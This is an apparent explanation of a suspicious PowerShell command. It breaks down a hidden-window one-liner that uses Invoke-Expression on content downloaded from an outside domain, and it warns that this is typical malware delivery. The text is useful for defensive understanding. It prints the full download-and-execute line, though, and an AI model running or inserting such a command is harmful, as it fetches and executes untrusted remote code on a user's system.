The provided command is a PowerShell script, which appears to...
The provided command is a PowerShell script, which appears to be executing potentially malicious behavior. Here's a breakdown of what the code does:
-
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe":
- This calls the PowerShell executable, effectively starting a PowerShell process.
-
-NoP
:- This is shorthand for
-NoProfile
and disables the loading of the user's PowerShell profile. It ensures that the session starts with a clean state.
- This is shorthand for
-
-W Hidden
:- This flag (
-WindowStyle Hidden
) hides the PowerShell window, making it invisible to the user.
- This flag (
-
-C
:- This specifies that the following string is a PowerShell command to execute (
-Command
).
- This specifies that the following string is a PowerShell command to execute (
-
iex (New-Object Net.WebClient).DownloadString('https://wellesleyrug.com')
:- This is the key part:
(New-Object Net.WebClient)
creates an instance of the .NETWebClient
class, which is used for downloading data from the web..DownloadString('https://wellesleyrug.com')
downloads the content from the URLhttps://wellesleyrug.com
as a string.iex
(short forInvoke-Expression
) executes the downloaded string as a PowerShell command.
- This is the key part:
Summary
This command downloads and executes the contents of the URL https://wellesleyrug.com
as a PowerShell script. This behavior is often associated with malicious activity, such as running malware or retrieving further payloads from a remote server.
Caution
If this script was run, the downloaded content from the URL would execute automatically, and it could potentially harm the system by executing commands or scripts with malicious intent. It is important to inspect and verify any such URLs or scripts before executing them.